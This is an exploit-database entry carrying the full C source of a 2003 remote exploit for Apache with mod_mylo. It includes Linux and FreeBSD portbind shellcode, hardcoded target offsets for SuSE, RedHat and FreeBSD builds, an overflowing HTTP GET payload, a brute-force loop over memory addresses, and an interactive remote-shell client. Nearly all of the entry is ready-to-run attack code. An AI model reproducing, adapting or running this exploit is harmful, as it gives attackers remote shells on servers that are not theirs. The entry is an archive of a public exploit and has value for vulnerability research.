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Suggest Exploit
vendor:
Apache
by:
Carl Livitt
7.5
CVSS
HIGH
Remote exploit
CWE
Product Name: Apache
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Linux, FreeBSD
2003

Apache + mod_mylo remote exploit

This is a remote exploit for Apache + mod_mylo. It allows an attacker to execute shellcode on a vulnerable system. The exploit uses a forking portbind shellcode to establish a shell on port 45295. The shellcode is modified from eSDee's original code to fix an issue with the dup2() syscall numbers. This exploit is specific to Linux and FreeBSD targets.

Mitigation:

Upgrade to a patched version of Apache or disable mod_mylo. Patching the specific vulnerability is not available.
Source

Exploit-DB raw data:

/*
  Apache + mod_mylo remote exploit
  By Carl Livitt / July 2003
  carllivitt at hush dot com

  Public release - Linux and FreeBSD targets.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>

#define SIZ 8096
#define HTTP_PORT 80
#define SHELL_PORT 45295
#define SOCKET_ERR -2
#define CONNECT_ERR -3
#define HOST_NOT_RESOLVED -4
#define BRUTE_FORCE_EXHAUSTED -5
#define SHELL_NOT_FOUND -7
#define SUCCESS 1
#define FAILED 0

// The following shellcode had 0x3f (?) chars in it which
// cause termination of our HTTP GET before the whole
// shellcode is written to the stack. The 0x3f's are
// needed because they are the dup2() syscall numbers. So,
// I've changed them to 0x3e's and INC'd them before doing
// an INT 0x80. Other than that, this shellcode is eSDee's.
// --------
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char linux_shellcode[]=
        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
        "\x06\x51\xb1\x01\x51\xb1\x02\x51"
        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
        "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
        "\x50\x66\x68\xb0\xef\xb3\x02\x66"
        "\x53\x89\xe2\xb3\x10\x53\xb3\x02"
        "\x52\x51\x89\xca\x89\xe1\xb0\x66"
        "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
        "\x31\xc0\x40\xcd\x80\x31\xc0\x50"
        "\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
        "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
        "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
        "\x80\x31\xc0\x31\xdb\x50\x50\x57"
        "\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
        "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
        "\xcd\x80\x39\xc3\x75\x40\x31\xc0"
        "\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
        "\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
        "\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
        "\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
        "\x62\x69\x6e\x89\xe3\x8b\x54\x24"
        "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
        "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
        "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

// This shellcode is unchanged (why reinvent the wheel ?):
// --------
/* BSD x86 shellcode by eSDee of Netric (www.netric.org)
 * 194 byte - forking portbind shellcode - port=0xb0ef(45295)
 */
char freebsd_shellcode[]=
        "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
        "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
        "\x61\xcd\x80\x89\xc7\x31\xc0\x50"
        "\x50\x50\x66\x68\xb0\xef\xb7\x02"
        "\x66\x53\x89\xe1\x31\xdb\xb3\x10"
        "\x53\x51\x57\x50\xb0\x68\xcd\x80"
        "\x31\xdb\x39\xc3\x74\x06\x31\xc0"
        "\xb0\x01\xcd\x80\x31\xc0\x50\x57"
        "\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
        "\xdb\x50\x89\xe1\xb3\x01\x53\x89"
        "\xe2\x50\x51\x52\xb3\x14\x53\x50"
        "\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
        "\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
        "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
        "\x39\xc3\x75\x44\x31\xc0\x57\x50"
        "\xb0\x06\xcd\x80\x31\xc0\x50\x56"
        "\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
        "\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
        "\x80\x31\xc0\x43\x53\x56\x50\xb0"
        "\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
        "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
        "\x89\xe3\x50\x54\x53\x50\xb0\x3b"
        "\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
        "\x31\xc0\x56\x50\xb0\x06\xcd\x80"
        "\xeb\x9a";

struct {
        char *platform;
        unsigned long bruteStart, bruteEnd;
        unsigned long retAddr;
        int offset, len;
        char *shellcodePtr;
} targets[]= {
        { "SuSE 8.1, Apache 1.3.27 (installed from source) (default)", 0x08117c04,
0x08117dff, 0xbfffe9f0, 500, 4104, linux_shellcode },
        { "RedHat 7.2, Apache 1.3.20 (installed from RPM)", 0x08105104, 0x081051ff,
0xbfffe0b0, 1000, 4104, linux_shellcode },
        { "RedHat 7.3, Apache 1.3.23 (installed from RPM)", 0x080ef304, 0x080ef3ff,
0xbfffe190, 750, 4104, linux_shellcode },
        { "FreeBSD 4.8, Apache 1.3.27 (from Ports)", 0x080bf004, 0x080bf0ff, 0xbfbfea50
,3500, 4096, freebsd_shellcode },
        NULL
};

char usage[]=
"Apache + mod_mylo remote exploit\n"
"By Carl Livitt (carllivitt at hush dot com)\n\n"
"Arguments: \n"
"  -t target       Attack 'target' host\n"
"  -T platform     Use parameters for target 'platform'\n"
"  -h              This help.\n";

void my_send(int, char *, ...);
void my_recv(int);
void make_exploitbuf(char *);
int connect_to_host(int);
int attempt_exploit(void);
void my_sleep(int n);

unsigned long retAddr=0,magic_r=0,MAGIC_R_START,MAGIC_R_END, exactPointerAddy=0;
char buf[SIZ], host[SIZ]="";
int useTarget=0;
struct hostent *hostStruct;

main(int argc, char **argv) {
        int ch, i;

        while((ch=getopt(argc, argv, "t:T:e:hr:"))!=-1) {
                switch(ch) {
                        case 't':
                                strncpy(host, optarg, SIZ-1);
                                break;
                        case 'T':
                                useTarget=atoi(optarg);
                                break;
                        case 'e':
                                exactPointerAddy=strtoul(optarg,NULL,16);
                                break;
                        case 'r':
                                retAddr=strtoul(optarg,NULL,16);
                                break;
                        case 'h':
                        default:
                                printf("%s\n",usage);
                                printf("Available platforms:\n");
                                for(i=0;targets[i].platform;i++)
                                        printf("%2d. %s\n", i, targets[i].platform);
                                printf("\n");
                                exit(0);
                                break; // it's good practice :)
                }
        }

        // Sanity check
        if(!retAddr && exactPointerAddy) {
                printf("[*] You must give RET address when specifying a pointer address\n");
                printf("    A good place to start is 0xbfffe0b0(linux) or 0xbfbfe0b0(freeBSD)\n");
		printf("    Also remember to pass a -T x flag... things will be unpredictable\n");
		printf("    if you don't!\n");
                exit(0);
        }

        if((hostStruct=gethostbyname(host))==NULL) {
               printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]);
                exit(0);
        }

        switch(attempt_exploit()) {
                case HOST_NOT_RESOLVED:
                        printf("[*] Couldn't connect to host: %s not found.\n", host);
                        break;
                case SOCKET_ERR:
                        printf("[*] Couldn't grab a socket!\n");
                        break;
                case CONNECT_ERR:
                        printf("[*] Connection to %s was rejected\n",host);
                        break;
                case SHELL_NOT_FOUND:
                        printf("[*] This attempt failed ...\n");
                        break;
                case BRUTE_FORCE_EXHAUSTED:
                        printf("[*] Bruteforce failed.\n");
                        break;
                case SUCCESS:
                        break;
                default:
                        printf("[*] ERROR: There was no error!\n");
                        break;
        }

        printf("\nHave a nice day!\n");
        exit(0);
}

int attempt_exploit(void) {
	fd_set rfds;
	int sock,retVal,r;

	if(exactPointerAddy) {
		printf("[-] Using 0x%08x for pointer addy\n", exactPointerAddy);
		if((sock=connect_to_host(HTTP_PORT))<=0)
			return sock;
		magic_r=exactPointerAddy;
		make_exploitbuf(buf);
		my_send(sock, buf);
		my_recv(sock);
		close(sock);
		my_sleep(100000);
                if((sock=connect_to_host(SHELL_PORT))<=0) {
			return sock;
		}
	} else { // Do crappy bruteforce loop
		printf("[-] Attempting attack [ %s ] ...\n", targets[useTarget].platform);
		MAGIC_R_START=targets[useTarget].bruteStart;
		MAGIC_R_END=targets[useTarget].bruteEnd;
		retAddr=targets[useTarget].retAddr;
		for(magic_r=MAGIC_R_START; magic_r<=MAGIC_R_END; magic_r++) {
			printf("[-] Trying 0x%08x ... \r", magic_r);fflush(stdout);
			if((sock=connect_to_host(HTTP_PORT))<=0)
				return sock;
			make_exploitbuf(buf);
			my_send(sock, buf);
			my_recv(sock);
			close(sock);
			my_sleep(50000);
			if((sock=connect_to_host(SHELL_PORT))>=SUCCESS) {
				printf("\n[-] Found request_rec address @ 0x%08x\n", magic_r);
				break;
			}
		}
		if(magic_r>MAGIC_R_END)
			return BRUTE_FORCE_EXHAUSTED;
	}

        printf("[-] Connected to %s! You can type commands now:\n", host);

        // Now let the attacker issue commands to the remote
        // shell, just as if (s)he had launched 'nc host 45295'.
        do {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(sock, &rfds);
                retVal=select(sock+1, &rfds, NULL, NULL, NULL);
                if(retVal) {
                        if(FD_ISSET(sock, &rfds)) {
                                buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
                                printf("%s", buf);
                        }
                        if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
                                send(sock, buf, strlen(buf), 0);
                        }

                }
        } while(retVal && r); // loop until connection terminates

        close(sock);
        return SUCCESS;
}

// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p) {
        int sock;
        struct sockaddr_in saddr;

        if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
                return SOCKET_ERR;
        memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
        saddr.sin_family=AF_INET;
        saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
        saddr.sin_port=htons(p);
        if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
                close(sock);
                return CONNECT_ERR;
        } else
                return sock;
}

void make_exploitbuf(char *b) {
        unsigned long *ptr;
        char *sc=(char *)&targets[useTarget].shellcodePtr[0];

        memset(b,0x00,SIZ-1);
        strcat(b,"GET ");
        memset(b+4,0x90,targets[useTarget].len);
        memcpy((b+targets[useTarget].len)-(strlen(sc)+targets[useTarget].offset)-9,sc,strlen(sc));
        ptr=(unsigned long *)&b[strlen(b)];
        *(ptr++)=retAddr;
        *ptr=magic_r;
        strcat(b, "\n\n");
}

// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
        va_list ap;
        char *buf;

        va_start(ap,b);
        vasprintf(&buf,b,ap);
        send(s,buf,strlen(buf),0);
        va_end(ap);
        free(buf);
}

// Another handy function to read data from a socket.
void my_recv(int s) {
        int len;
        char buf[SIZ];

        len=recv(s, buf, SIZ-1, 0);
        buf[len]=0;
}

// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n) {
        struct timespec t;
        t.tv_sec=0;
        t.tv_nsec=n;
        nanosleep(&t,&t);
}

// milw0rm.com [2003-07-28]